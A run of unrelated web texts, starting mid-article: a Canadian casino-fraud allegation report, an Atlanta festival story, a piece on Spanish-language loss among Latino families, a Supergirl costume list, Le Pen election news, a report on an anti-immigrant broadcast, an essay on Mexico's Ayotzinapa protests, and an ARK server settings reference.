Guo said that for legal reasons, she could not provide casino transaction records to Postmedia. As Guo did not provide documents from China naming her former employees in connection to charges, Postmedia has decided not to name the man and woman.
The BCLC has claimed that patron gaming fund accounts, such as the one allegedly used by Guo’s former employee, have greater protections against money laundering, compared to large cash deposits. However, B.C. gaming enforcement branch documents raise concerns that bank drafts deposited into BCLC accounts are not adequately vetted for source of funds.
On Monday, Guo said that she believes in her case, these concerns about bank draft deposits and the vetting of funds in BCLC client accounts were proven true.
BCLC did not respond Monday to Postmedia’s request for comments on Guo’s allegations.
Guo also repeatedly accused the RCMP of failing to adequately investigate her case.
A confidential B.C. Gaming Enforcement Branch “Section 86” report obtained by Postmedia confirms that B.C. Lottery Corp. in April 2016 received a complaint at Starlight Casino in New Westminster, about the female suspect named by Guo.
“There were concerns that an unknown number of bank drafts submitted by (the suspect) for gambling purposes derived from a third party involved in fraud,” the document says. The suspect’s gaming privileges were cancelled and two banks, CIBC and BMO, investigated the alleged transactions, the document says. And several days later, a Richmond RCMP officer “confirmed he was investigating a $7.5 million fraud involving a law firm in Richmond,” the Section 86 report says. “(Suspect) is believed to be the recipient of some of those funds.”
Postmedia pointed to this document on Monday, and Guo responded: “I’m not aware of any action (RCMP) took … They didn’t help me at all.”
The RCMP did not respond to Postmedia’s requests for comment on Guo’s allegations.
Guo also claimed on Monday that a B.C. Law Society investigation of her trust fund shortage case has found no issues at her practice.
In response to questions from Postmedia after Guo’s press conference, Law Society spokesman David Jordan said: “Our investigation of Guo continues and details of any investigation remain confidential unless and until a citation is authorized.”
[email protected] |
A yearly festival that showcases the South’s most renowned chefs and local farmers brought over 1,500 people to The Goat Farm on Sunday to raise money for two causes that are close to Atlanta’s restaurant industry and the local community .
The Attack of the Killer Tomato Festival, started by chef Ford Fry, kicked off its sixth year and brought attention to Georgia Organics and to bring the community together with local farmers and find a connection with the food they eat. “We are attempting to break down barriers of organic food and also teach our kids about where their fruits and vegetables come from,” said Kate Klein, development coordinator of Georgia Organics.
The organization holds various programs such as “My Market Club” to introduce people to local farmers markets and launched the 5 Million Meals Campaign, a statewide effort to get 5 million meals served with locally grown food in K-12 cafeterias in the 2012-2013 school year.
For the first time, the festival also raised money for The Giving Kitchen, a nonprofit started to help provide crisis grants to members of Atlanta’s restaurant community facing unanticipated hardship. The nonprofit was started after the city’s well-known chef Ryan Hidinger was diagnosed with late stage cancer.
“We were excited to partner with them and think it is a great way for our community to be a part of the restaurant community,” said TGK’s executive director Stephanie Galer. “Whether you’re a diner, a waiter or a chef, we are all touched by the restaurant industry, and we want TGK to be an important resource for our hospitality community.”
The nonprofit is less than a year old and has already distributed over $50,000 in grants to restaurant professionals in the city. TGK gives grants to help people in the hospitality community pay rent, bills and other costs when they come across a hardship so they don’t have to worry about losing their jobs.
The festival introduces the causes to the community, but the organizations are always looking for volunteers to help year-round. Georgia Organics needs volunteers to spread the message of the organization, be volunteers in the office or embrace the outdoors at one of the many farms around Georgia.
And The Giving Kitchen wants the Atlanta community to be ambassadors for its mission, and “spread the word to people in the hospitality industry that we are here to help them through a tough time,” added Galer.
The festival raised approximately $120,000 which will benefit Georgia Organics and The Giving Kitchen.
In other news: The Fragile Kids Foundation was awarded a $125,000 grant from the James M. Cox Foundation to support the expansion of the organization’s statewide medical loaned equipment program. The funds will allow the FKF to purchase 70 additional pieces of therapeutic and rehabilitative equipment, expanding its equipment inventory available for loan by 25 percent. The James M. Cox Foundation provides funding for capital campaigns and special projects in communities where the company operates. The Foundation concentrates its community support in several areas, including conservation and environment, early childhood education, empowering families and individuals for success and health. |
One recent Saturday morning inside a small storefront classroom in Long Beach, preschoolers, toddlers and their parents bounced along to a Spanish-language song. Afterward, they talked amongst themselves in Spanish – some with more difficulty than others.
The place is called The Family Nest, a part-time Spanish immersion school for young children. The parents that come here are mostly Latino. But many aren't immigrants – or, for that matter, great Spanish speakers.
Some have had to work at it - and still are, along with their kids.
“It’s challenging, because I’ve spoken English for 30 years of my life," said Mariela Salgado, who attends classes there with her two young daughters. "I've been in American schools all my life. I have an MBA. I worked in corporate America. So English has been my primary language."
Salgado arrived with her family from Mexico when she was three. She grew up in Culver City and went to school in Brentwood. Later, she attended Pepperdine University, and assimilated - just as her parents had hoped.
Then she got married, and had kids. That got Salgado and her husband thinking about the cultural legacy they'd leave their children.
"For me, tradition will be passed down with Spanish," Salgado said. "So it's important that both my girls learn Spanish."
The challenge?
"Because I speak English so much better at this point, I don’t speak enough Spanish to them." Salgado said.
Welcome to the future of Spanish in America.
According to the Pew Research Center, by now more than half the nation's adult Latino population is U.S.-born. Meanwhile, fewer immigrants are arriving from Latin America.
What this means is that gradually, the U.S. is seeing a shrinking number of Spanish-speaking households. It’s expected that by 2020, only two-thirds of U.S. Latino households will speak Spanish.
“The Census Bureau projects that in just a few years, we are going to reach about one-third of Hispanic young people living in a household where only English is spoken," said Mark Hugo Lopez. director of Hispanic research with the Pew Research Center.
More of these young people are intermarrying – at least a quarter have non-Latino partners, Lopez said. Throw in busy lives, with work, school, and other obligations, and teaching Spanish to one's kids isn’t easy.
Now here's where I take this story into the first-person: I'm one of those parents.
My parents brought me to the U.S. from Cuba when I was three. Today, I'm raising a nine-year-old daughter, Lucia. And teaching her Spanish has been, well, challenging. Like the time I spent taking her to weekend Spanish immersion classes when she was younger.
“I thought that the weekend Spanish school for me, when I was about 5 to 6, I hated it!" Lucia said when I asked her about it the other day. "My teacher only spoke Spanish and didn’t translate.”
After more tantrums than I care to remember, I gave it a rest. We tried applying out-of-district to dual-immersion public school, but didn't get in. These days, I try my best to pepper our daily routine with Spanish, but it isn't much.
Lucia understands more Spanish than she lets on, but she's reluctant to speak it. Asked a question in Spanish, she replies in English.
On weekends when we visit my parents, my mother, Haydee, drills Lucia on her Spanish vocabulary. She wishes I were trying harder.
"It's a shame, a little bit of a shame, that she doesn't speak more Spanish," my mother said. "She could be more fluent by now."
After all, I'm bilingual - thanks largely to my parents' insistence when I was growing up that I always speak Spanish at home. But I had to brush up, too. I took Spanish in high school and in college. Even so, English is my daily default.
Parents like these often wind up The Family Nest with their kids, said owner Maria Palazzolo. It's one of a handful of private, part-time Spanish bilingual education schools in the Los Angeles area for young children. On Saturday mornings, families are invited to join in and socialize together with their kids.
Palazzolo said in some ways it's part school, part support group.
“More than anything I have found that a lot of the moms that come here feel supported," Palazzolo said. "They are like, whew, I am not the only one! There are other people going through the same thing.”
This includes Palazzolo - formerly Trujillo - whose background is in early childhood education. She’s Mexican American, raised in Long Beach. Her husband is Italian and Filipino. She didn’t speak any Spanish at home until her son, Massimo, was born three years ago.
“Once I started talking to him in Spanish, I realized, wow, this is harder than I thought!" Palazzolo said. "I needed to brush up on my Spanish a little bit more. That’s when I decided to have a program that will support that.”
She started meet-ups for moms who could brush up on their Spanish together, while their little ones learned, too. She opened the storefront classroom last spring.
Like many of her clients, Palazzolo would like to enter her son in dual-immersion classes, in which native-speaker kids learn along with non-native speakers. But these can be hard to get into, Palazzolo said. Some school districts don't have them. In the end, much is up to the parents.
Both Palazzolo and Salgado have tried to brush up on their Spanish with a number of tools: Apps, dictionaries, Google Translate, trying to muddle their way through Spanish-language media. Even relatives have been enlisted to help.
"I do make an effort on a daily basis," Salgado said, "looking up words on Google or online to remember what they sound like. Even with my mother. I actually have conversations in Spanish with my mother. I didn’t for a long time. I always used to talk to her in English."
Salgado said she grew up in the 1980s in a household where assimilation was stressed; her father insisted she perfect her English to get ahead.
Pew's Mark Hugo Lopez says this isn't uncommon - and that some of these same people are the ones rediscovering Spanish.
"Back in the fifties, sixties, even in the seventies, depending on the part of the country, (people) were really being told that they should be speaking English, and be American," Lopez said. "But today, for young Latinos, it's rather more a story of 'speak Spanish and be proud of your heritage.'"
Lopez said these days, it's not uncommon to see young, English-dependent Latinos signing up for college Spanish courses.
Carol Venegas-Schuster, another Family Nest mom, said she came close to losing her Spanish at one point. She eventually took Spanish classes as an adult.
It helps these days that her husband is from Spain - but so does attending mommy-and-me classes with her toddler. She says her Salvadoran immigrant parents are impressed.
"They are very happy that my Spanish sounds better, because I can express myself better," Venegas-Schuster said. "Before they would correct me all the time, or my dad would say, 'You can't speak Spanglish!'"
Salgado said she wants to pass much more than a language along to her children.
"For us, it is not about that second language necessarily, it’s about that identity for ourselves, who we are, what piece of us to pass on to our kids," Salgado said.
For Palazzolo, it's also passing on a sense of respect for "how much my parents struggled to be here, and how much they had to go through."
My mother describes it like this: "We are passing traditions," she said, "and lots of things that we were taught by our parents and our grandparents – and the love of family.”
So what happens if we try and fail? Not all is lost, according to Nina Hyams, a linguistics professor at UCLA.
"There has been some interesting research that shows that even children who don’t actively speak the language themselves as children, if they are exposed to it, at least in the home setting, then later in life, say when they are in college and they want to actually learn their heritage language...they have an advantage," Hyams said.
These Spanish learners won't necessarily have an advantage when it comes to learning grammar, Hyams said, but they'll have an easier time with pronunciation, and acquiring a native-like accent.
It's a ray of hope, at least. The other day, after school, my daughter Lucia told me she’d learned the name of the Spanish priest who founded the first California missions.
“My teacher was pronouncing it Joo-ni-pero Serra," she complained.
Then she said it in perfect Spanish: Junípero Serra. Accent and all. |
UPDATE: OCT 22, 2008This image features all Supergirl costumes that Kara has used. before doing this, I made a simple rule:- It has to be Kara. (altough I broke this rule just once)That because I don't consider any other to actually 'be' Supergirl.The order of appearance is:1. Original version, Action Comics #2522. Action Comics #260 JANSupergirl becomes Super-baby.The following costumes were submitted by fans in the 70s, that why there are so many of them in a very short period of time.3. Adventure Comics 397, SEP 1970Made by joining the designs of- Louise Anne Kelly- Jean Bray (Springlake, Michigan)4. Adventure Comics 412, NOV 1971* no credits for design5. Adventure Comics 407, JUN 1971Made by Anthony Kowalsky (Harvey, Illinois)6. Adventire Comics 408, JUL 1971A variation in color from the previous costume(printer error ??)7. Adventure Comics 409, AUG 1971Made by Margaret Berg (MY, NY)8. Adventure Comics #402 FEB 1971Supergirl goes to on a date9. Adventure Comics 410, SEP 1971Made by John Sposato10. Adventure Comics 411, OCtuber 1971Simplified by DC staff.. I think..12. Adventure Comics 415, FEB 1972* no creditsEnd of costume sent by fans.11. Superman 376 (Preview for The Daring New Adventures of Supergirl) OCT 198213. The Daring New Adventures of Supergirl(later re-title Supergirl) NOV 1983credited to a fashion designer.. couldn't find the name)14. Supergirl MAR 1984Modification for the headband and curly hair.She stayed in this costume until her death on Crisis on Infinite Earths in 1985.15. Supergirl Motion Picture 1985Made for the movie, in the DVD you can see test screens of Helen Slater using the previous costume.16. Superman/Aliens #1 JUL 1995Before the re-introduction of Kara, Superman finds a 'Kara' with an origin very similar to the original Kara.17. Elseworlds Finest: Supergirl & Batgirl #1 - 1998There's no Batman or Superman in this world.18. Superman Animated SeriesEpisode "Little girl Lost"19. Justice League UnlimitedEpisode "Chaos at Earth's Core"20. Kingdom Come.She lives in the 30th Century with the LOSH here. There's another one here but not described as 'Kara' so I didn't include her.21. Supergirl One Million.Supergirl #79 - 2003I may have to include another one here.. SG 1000000 uses a different colors, the one here is how she was depicted as Ariella, the daughter of PAD's Linda, the only non-kara Supergirl that I ever like, that's why she's here.22. Supergirl #80 - 2003Final shot of Ariella at the end of this series, same costume as SG 1000000, some differences in costume color and hair style.23. Superman/Batman 13Design by Michael TurnerRe-introduction of Kara Zor-El as Supergirl.24. Tiny Titans #8 - 2008A kids book of the Teen Titans + other young superheroes.25. Supergirl 33 - 200826. Kara from Smallville, season 7th.27. Supergirl: Cosmic Adventures in the Eighth Grade #1 - 2008Another comic for kids featuring Supergirl... I don't like the blue leggins..28. Superman/Supergirl:Maelstorm #2 - 200829. Supergirl #??Coming design from Jamal Igle.Note: I included here the animated costumes because when BT and company wanted to introduce Supergirl in the animated series, they wanted the real one: Kara, not the blob of protoplasm named 'Matrix', DC said 'no' so they created a Kara from a planet in the same solar system as Krypton that got destroyed too when Krypton exploded. Her name was initially Kara in-Ze, not a pure kriptonian, not affected by kriptonite (for example) but as time passed, she was slowly transformed into the kriptonian Kara, including her vulnerability to kriptonite. So.. it's Kara.Please report errors or omissions |
Nicolas Bay, general secretary of France’s Front National (FN) party, revealed Ms Le Pen had secured the signatures just days before the deadline. However, the endorsement signatures must still be validated by the constitutional council.
GETTY Marine Le Pen looks to become a presidential candidate after receiving 500 government sponsors
Mr Bay also said on Tuesday Ms Le Pen was the sixth candidate to have gathered 500 signatures from mayors or local officials dotted across France. In 2012, the year Socialist president François Hollande came into power, Ms Le Pen struggled to get the endorsements needed; and secured them within days of the target date.
Laurent Fabius, the head of the constitutional council, the highest constitutional court in the country, reiterated this week that the signatures had to come from “at least” 30 different departments or overseas territories, and that “no more than 10 per cent” of the sponsors could come from a single department or territory.
GETTY Nicolas Bay, general secretary of the FN party, announced the news just days before the deadline
What’s more, all 500 endorsement signatures must first be “approved and validated” by the constitutional council, he said. Ms Le Pen, who has long been considered the ‘underdog’ candidate, is gaining support and inching closer to victory.
GETTY Marine is expected to breeze through to the final round of voting in May
The anti-EU Elysée hopeful is set to breeze through to the second and final round of voting in May, an Ifop-Fiducial voting intentions poll for Paris Match, CNews and Sud Radio published on Wednesday shows. The FN chief is predicted to come first in the election’s first round in April with 26 per cent of the votes, while centrist candidate Emmanuel Macron would garner 24.5 per cent and centre-right candidate François Fillon 19.5 per cent, the poll revealed.
GETTY Emmanuel Macron is expected to come second in the first round of the elections in April |
While many Republicans are calling on their party to be more inclusive after stinging losses in the 2012 election, the director of issues analysis of a conservative fundamentalist Christian organization says that it’s time to “clamp down” on immigrants because Hispanics voted for President Barack Obama.
“Hispanics are not Democrats, don’t vote Democrat because of immigration,” the American Family Association’s Bryan Fischer said in video posted by Right Wing Watch on Tuesday. “It has to do with the fact that they are socialists by nature. They come from Mexico, which is a socialist country. They want big government intervention, they want big government goodies.”
“Now they want open borders — make no mistake — because they’ve got family and friends that they want to come up and be able to benefit from the plunder of the wealth of the United States, just as they have been able to do.”
He continued: “Republicans can pander all they want to Hispanics, to immigrants and it will not work. There is no way on Earth you care going to get them to leave the Democratic Party. It’s one reason we got to clamp down on immigration.”
Watch this video from American Family Association’s Focal Point, broadcast Nov. 13, 2012. |
The political and humanitarian crisis in the southern Mexican state of Guerrero marks a new low in a country marred by corruption and drug violence. More than a month after the disappearances of 43 students there is still no sign of them, while official government search efforts are laced by ambiguities to say the least.
At the same time the disappearances have stirred up a hornet’s nest that has taken the form of an unparalleled and broad social movement in all corners of Mexico.
Mexico, with Guerrero at its epicenter, seems torn between despair and hope. Despair from the horror of the atrocious events in Iguala, and hope from the structural change promised by the societal response. Which social and political processes have erupted, exactly, and what does this mean for the possibilities of social change in Mexico?
A breeding ground for revolutionaries
The entrance of the Rural Normal school in Ayotzinapa welcomes her students with murals of Che Guevara, Vladimir Lenin, Friedrich Engels, and Carlos Marx. The disappeared students come from a school with a history of left politics embedded in a special national education program set up to train primary school teachers. Started in 1920, this program has the express goal of social emancipation of the poor. The school has produced two of Guerrero’s most important guerrilla leaders in the seventies and, unsurprisingly, has gained the reputation of being a breeding ground for radical activism.
Contemporary students are the children of farmers and indigenous families living in the poorest and most marginalized areas of Mexico. The school’s position as a hotbed of activism has not gone unnoticed and has constantly forced students to face state repression in the form of chronic underfunding, police violence and criminalization.
The disappearances
On September 25, a group of Ayotzinapa students went to the nearby town of Iguala to organize transport to the remembrance protest of the 1968 Tlatelolco student massacre. For lack of money, the students appropriated three buses on the fateful night; in response, the mayor of Iguala gave orders to stop the buses “no matter what.” Enforcing the orders, the local police opened fire on several buses, killing six students and bystanders and leaving 25 wounded. The night deteriorated into a head-hunt for the fleeing students, 43 of whom were eventually abducted in police vehicles never to be heard of since.
The response of the government was riddled with exceptional incompetence, as the following events reveal. The day after the drama, the responsible mayor of Iguala requested a leave of absence and went on the run. Meanwhile, the governor of Guerrero and the president of the republic have been involved in a ping-pong game of finger pointing to avoid responsibility. The respected human rights center Tlachinollan, located in Guerrero, has pointed out the serious deficiencies in the official investigation and the search for the students. Consequently, the parents of the disappeared students have announced to only trust the findings of a foreign team of investigators. Mexicans have lost all trust in the authorities to bring the crisis to a just end.
A public secret revealed
The Iguala events have irrefutably revealed ties between powerful drug cartels, the local police force and the responsible mayor. The interwoven nature of local governments with organized crime is no secret. But the revelations brought to light by the recent events have forced the government to break with their policy of official denial. As president Peña Nieto stated at a press conference, “the Iguala events have revealed the naked truth.”
Ayotzinapa has become the paragon of institutional ties with drug cartels and represents the sickness that has been ailing Mexican society in the form of corruption, extreme violence and impunity for years.
The movement that has risen in response to the Iguala events breaths a certain sense of relief. A family member of an Ayotzinapa student who disappeared a few years ago, relates how the movement has helped her: “Without Ayotzinapa our voices would still be shrouded in silence.”
Where people used to whisper, they now openly agitate against the narcogobierno [drugs government]. This sea change must not be underestimated in the context of the extreme violence and repression which would normally make a public expression of this nature a dangerous act. Ayotzinapa has finally laid bare this public secret.
The perfect storm?
The disappearance of the students has mobilized and brought together diverse local groups from all social strata and regions of Mexican society. Committees of support have been set up in the most remote corners of Mexico, the Zapatistas have held a silent march in Chiapas and famous Mexican actors have declared their solidarity. However, the heart of the movement is located in Iguala, in the Asamblea Nacional Popular (ANP) headed by the parents and schoolmates of the disappeared students.
The strength of the Ayotzinapa movement is based in the coalition of student and teachers organizations. This coalition seems to be the recipe for a perfect storm. Both are at the forefront of the struggle and are flooding Mexican streets with staggering numbers, of which the 50.000 strong demonstration on October 22 in Mexico City has been the largest so far.
In Guerrero, epicenter of the struggle, highways are blockaded daily, government buildings are torched and radio stations occupied and taken over. Students and teachers of leading universities have called various strikes, and there is talk of a general strike to come. To top all this off, teachers associations have set themselves the goal of taking over all of Guerrero’s town halls. At the time of writing the count is set at 22 out of a total of 81.
In recent Mexican history, teachers and students have been the vanguard of social struggles, which has given them an important symbolic value. It also provides the current movement with the needed practical experience and organizational structures to build upon.
Roots of the movement
Mexican universities are well known for their militant and radical student movements. The latest revival took place in the form of a national movement called #YoSoy132 (#IAm132). The movement started during the presidential election campaigns of 2012 when the students agitated for the democratization of the media because of their their partial reporting, which favored erstwhile presidential candidate Enrique Peña Nieto. The movement is organized horizontally and made up of 130 local and autonomous assemblies spread all over Mexico, coordinating in its national Interuniversitaria, which has now taken up the cause of the Ayotzinapa students.
Just like #YoSoy132, the radical teachers organizations besmirched the start of the presidential term of Peña Nieto with large-scale protests when he announced controversial neoliberal reforms in education, energy and telecommunications. The democratic section of the national teachers union CNTE, well known for their role in the Oaxaca uprising of 2006, has led the protests against the attempt to privatize Mexican education.
In Guerrero, these militant protests were led by the teachers organization CETEG, which has united the forces of farmers, indigenous people, students and community police, thereby broadening the struggle against the entire neoliberal offensive of the new government. Besides the education reforms, they protested the privatization of the energy sector, destructive mining projects, repression of political activists and the lack of public security.
The Interuniversitaria, CNTE and CETEG are the motor of the current Ayotzinapa movement.
Insecurity unites a diverse movement
“Alive they took them, alive we want them back.” Recurrent in all protests, this slogan expresses the most important demand of the movement: the unharmed return of the students and the punishment of all those responsible for their disappearance. Banners and social media also often show the hash-tag ‘#AyotzinapaSomosTodos’ [#WeAreAllAyotzinapa]. This sends the clear message that this ‘could have happened to anybody in Mexico’. This sad reality of the structural insecurity caused by the deep ties between the corrupt government and organized crime speaks to a diversity of Mexicans and is the glue that binds the Ayotzinapa movement.
A current in the movement articulates Ayotzinapa as a systemic problem. It is mainly the radical teachers organizations which are determined not to settle for the usual course of events in Mexican political crises, namely a reshuffling of the political cards and then back to business as usual. The protesters’ response to the resignation of Guerrero’s governor says it all. “It will not solve anything,” was the loud response after which the mobilization and protests continued with unrelenting zeal. Indeed, the appointment of an interim governor of Guerrero was answered immediately with the demand for his dismissal since he was not chosen by el pueblo, the people, but by the federal government. On their own terms, the Ayotzinapa movement demands the dissolution of the municipal, state and federal governments. As they say in Mexico, “The cob must be stripped of all its corn.”
The broad coalition that makes up the Ayotzinapa movement has its internal complexities and tensions. The issue of insecurity speaks just as well to people who want a properly functioning liberal democracy as to radical groups that would like to see far-reaching political change. This is evident from the following examples.
A few days after the disappearance of the students, shopkeepers and merchants of Guerrero’s capital Chilpancingo joined the protest demanding the resignation of the governor. The extreme violence in the region has been seriously affecting commerce in Chilpancingo, leading to this groups’ participation. Under a similar pretext of insecurity, 200 striking police officers in Acapulco joined the struggle. While the middle classes focus on the issue of insecurity, a group of socialist students of the Ayotzinapa movement choose a more fundamental focus.
The students have decided to temporarily occupy two mega-stores in Chilpancingo to hand out food and basic supplies. Electronics and luxury items remain untouched, which makes it different from ordinary plundering, but rather sends a clear political statement that inequality is at the root of the problems in Mexico. This message also resonates in many of the highway blockades, where the Ayotzinapa movement gives civil vehicles free passage but denies it completely to the trucks of multinationals like Coca Cola and BIMBO, symbols of the inequality of the capitalist system.
The different currents that feed the Ayotzinapa movement are its strength because of the broad support. At the same time, the divergent currents carry with them the risk of fragmentation.
From de-escalation to militarization
During the first month of protests, the government was surprisingly peaceful in its response. Even when more militant actions occurred, like setting fire to government buildings or occupations of town halls, the authorities did not intervene. The government seemed to be hoping for a fiery but short lived movement that would burn out by itself. Besides, this de-escalation strategy was at the time the only realistic course of action since a new victim of state violence would only have heightened the flames of discontent.
However, the government did employ its usual tactic of discrediting the students and teachers by labeling them as dangerous and radical vandals. More recently they have even stooped to the level of accusing the Ayotzinapa students of being allied to a drug cartel. Strikingly enough, these accusations have not had the sought-after effect on the people.
On October 29, more than a month into the protests, the first violent confrontation with the military police forces took place when teachers of CETEG attempted to occupy the Casa Guerrero, the White House of Guerrero. Meanwhile, the government is taking over control of the cities of Guerrero as well as twelve municipalities. A large-scale militarization of the region is taking place, denounced by the teachers organizations as an attempt to suppress the movement. Now that more and more anger is directed towards the president himself, the chances of a violent intervention are growing by the day.
Self-organization: leading by example
The long-standing community police forces of Guerrero are an inspiration to the Ayotzinapa movement. When people speak of real solutions to rising insecurity, they are quick to refer to the self-organized community police, “where the people do it themselves.”
Indigenous communities, mostly, have organized their police groups based on their own culture and organizational structures. The police are directly responsive to the community which governs and controls their activities. The areas where the community police is active are seen as the safest places in Guerrero.
UPOEG is one of the community police organizations which has gained a lot of respect by immediately organizing search parties for the disappeared students, coordinating their efforts with the parents. As such, UPOEG is filling the void left by the government and shows the power and possibilities of self-organization. Besides its policing role, UPOEG is also putting forward a plan to create a ‘fourth level of government’ next to the existing federal, state and municipal structure of Mexico. This would take the shape of a ‘council of community leaders’ with the aim of pulling political power to the bottom of Mexican society: the communities.
Self-organization in Guerrero is referred to by the Ayotzinapa movement as an example of what another Mexico might look like.
The importance of international pressure
The fear that political instability will disrupt Mexican commercial interests makes the country highly susceptible to international pressure. This was apparent when the Zapatistas rose up in 1994 during the implementation of the NAFTA free trade agreement. The pressure exerted on Mexico as a response to the international solidarity movement was of crucial importance in the course of the Zapatista struggle.
The Mexican government does not want to lose her image as ‘stable’ and ‘open for business’. The protesters in Mexico are well aware of this fact. They have made a satirical version of the cover of the influential Time Magazine and spread it far and wide via social media. The image parodies an edition of Time with Peña Nieto ‘Saving Mexico’ on the front cover. The parody depicts the president as Death with a scythe in his hand, accompanied by the text “Slaying Mexico.” This is a firm call for international pressure.
International intellectuals supported the struggle with a critical open letter to president Peña Nieto signed by Noam Chomsky, Umberto Eco and more than two-thousand other academics.
Once more, it is of crucial importance that the eyes of the world are turned to Mexico to restrain its government from using all-out repression against the Ayotzinapa movement. The course of struggle is unclear, and a burst of violence lurks in every corner, just like the possibility for social change. One thing is certain: a diverse group of Mexicans is envisioning Another Mexico, which now more than ever, is possible. |
ARKFORUM.DE - ATLAS / ARK GameUserSettings.ini Generator
command description value
[ServerSettings]
allowThirdPersonPlayer Enables 3rd Person view
AllowCaveBuildingPvE If set to True, allows building in caves when PvE mode is also enabled.
alwaysNotifyPlayerJoined Players will always get notified if someone joins the server
alwaysNotifyPlayerLeft Players will always get notified if someone leaves the server
bAllowFlyerCarryPvE Allows flyers to pick up players and dinos
bDisableStructureDecayPvE Disable the gradual (7 days) decay of player structures
DayCycleSpeedScale Specifies the scaling factor for the passage of time in the ARK, controlling how often day changes to night and night changes to day. The default value 1 provides the same cycle speed as the singleplayer experience (and the official public servers). Values lower than 1 slow down the cycle; higher values accelerate it. Base time when value is 1 appears to be 1 minute real time equals approx. 28 minutes game time. Thus, for an approximate 24 hour day/night cycle in game, use .035 for the value. - Calculate your values here
DayTimeSpeedScale Specifies the scaling factor for the passage of time in the ARK during the day. This value determines the length of each day, relative to the length of each night (as specified by NightTimeSpeedScale. Lowering this value increases the length of each day. - Calculate your values here
NightTimeSpeedScale Specifies the scaling factor for the passage of time in the ARK during night time. This value determines the length of each night, relative to the length of each day (as specified by DayTimeSpeedScale. Lowering this value increases the length of each night. - Calculate your values here
DinoCharacterFoodDrainMultiplier Specifies the scaling factor for dinosaurs\' food consumption. Higher values increase food consumption (dinosaurs get hungry faster).
DinoCharacterHealthRecoveryMultiplier Specifies the scaling factor for dinosaurs\' health recovery. Higher values increase the recovery rate (dinosaurs heal faster).
DinoCharacterStaminaDrainMultiplier Specifies the scaling factor for dinosaurs\' stamina consumption. Higher values increase stamina consumption (dinosaurs get tired faster).
DinoCountMultiplier Specifies the scaling factor for dinosaur spawns. Higher values increase the number of dinosaurs spawned throughout the ARK.
DinoDamageMultiplier Specifies the scaling factor for the damage dinosaurs deal with their attacks. The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.
DinoResistanceMultiplier Specifies the scaling factor for the resistance to damage dinosaurs receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a dino taking half damage while a value of 2.0 would result in a dino taking double normal damage.
globalVoiceChat Voice chat turns global
HarvestAmountMultiplier Specifies the scaling factor for yields from all harvesting activities (chopping down trees, picking berries, carving carcasses, mining rocks, etc.). Higher values increase the amount of materials harvested with each strike.
HarvestHealthMultiplier Specifies the scaling factor for the \"health\" of items that can be harvested (trees, rocks, carcasses, etc.). Higher values increase the amount of damage (i.e. \"number of strikes\") such objects can withstand before being destroyed, which results in higher overall harvest yields.
MaxStructuresInRange (OUTDATED) Specifies the maximum number of structures that can be constructed within a certain (currently hard-coded) range.
noTributeDownloads Disables downloading characters from other servers
PreventDownloadSurvivors Prevents the download of survivors
PreventDownloadItems Prevents the download of items
PreventDownloadDinos Prevents the download of dinos
PlayerCharacterFoodDrainMultiplier Specifies the scaling factor for player characters\' food consumption. Higher values increase food consumption (player characters get hungry faster).
PlayerCharacterHealthRecoveryMultiplier Specifies the scaling factor for player characters\' health recovery. Higher values increase the recovery rate (player characters heal faster).
PlayerCharacterStaminaDrainMultiplier Specifies the scaling factor for player characters\' stamina consumption. Higher values increase stamina consumption (player characters get tired faster).
PlayerCharacterWaterDrainMultiplier Specifies the scaling factor for player characters\' water consumption. Higher values increase water consumption (player characters get thirsty faster).
PlayerDamageMultiplier Specifies the scaling factor for the damage players deal with their attacks. The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.
PlayerResistanceMultiplier Specifies the scaling factor for the resistance to damage players receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a player taking half damage while a value of 2.0 would result in taking double normal damage.
proximityChat Only players near each other can see their chat messages
ResourceNoReplenishRadiusPlayers Defines the distance where there are no resources respawning when being close to a player
ResourceNoReplenishRadiusStructures Defines the distance where there are no resources respawning when being close to a structure
ResourcesRespawnPeriodMultiplier Specifies the scaling factor for the respawn rate for resource nodes (trees, rocks, bushes, etc.). Lower values cause nodes to respawn more frequently.
ServerAdminPassword If specified, players must provide this password (via the in-game console) to gain access to administrator commands on the server.
ServerCrosshair Shows crosshair
serverForceNoHud HUD always disabled
serverHardcore Enables hardcore mode (player characters revert to level 1 upon death)
ServerPassword If specified, players must provide this password to join the server.
serverPVE Disables PvP, enables PvE
ShowMapPlayerLocation Show each player their own precise position when they view their map
StructureDamageMultiplier Specifies the scaling factor for the damage structures deal with their attacks (i.e. spiked walls). The default value 1 provides normal damage. Higher values increase damage. Lower values decrease it.
StructureResistanceMultiplier Specifies the scaling factor for the resistance to damage structures receive when attacked. The default value 1 provides normal damage. Higher values decrease resistance, increasing damage per attack. Lower values increase it, reducing damage per attack. A value of 0.5 results in a structure taking half damage while a value of 2.0 would result in a structure taking double normal damage.
TamedDinoDamageMultiplier Specifies the scaling factor for tamed dinosaurs damage. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.
TamedDinoResistanceMultiplier Specifies the scaling factor for dinosaurs fortitude. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.
TamingSpeedMultiplier Specifies the scaling factor for dinosaur taming speed. A value of 2.0 doubles the inital amount, a value of 0.5 halfes it.
XPMultiplier Specifies the scaling factor for the experience received by players, tribes and dinosaurs for various actions. The default value 1 provides the same amounts of experience as in the singleplayer experience (and official public servers). Higher values increase XP amounts awarded for various actions; lower values decrease it.
EnablePVPGamma Allows or disallows usage of gamma on PVP servers
EnablePVEGamma Allows or disallows usage of gamma on PVE servers
SpectatorPassword To use non-admin spectator, the server must specify a spectator password. Then any client can use these console commands: requestspectator and stopspectating. See patch 191.0 for more information and hotkeys.
DifficultyOffset Specifies the difficulty level.
PvEStructureDecayPeriodMultiplier Specifies the scaling factor for the decay rate of player structures in PvE mode. The specific effect(s) of this option and its range of valid values are unknown as of this writing.
PvEStructureDecayDestructionPeriod Specifies the time required for player structures to decay in PvE mode. The specific effect(s) of this option and its range of valid values are unknown as of this writing.
Banlist Uses the global banlist of ARK to disallow players\' access who have been identified as cheaters
PvPStructureDecay Activates (true) oder deactivates (false) the structure decay on PVP servers
DisableDinoDecayPvE Deactivates the unclaiming functions for dinosaurs on PVE servers
PvEDinoDecayPeriodMultiplier Multiplier value for the unclaiming speed of dinosaurs
AdminLogging Enables the output of cheat commands that admins used (will be shown in chat)
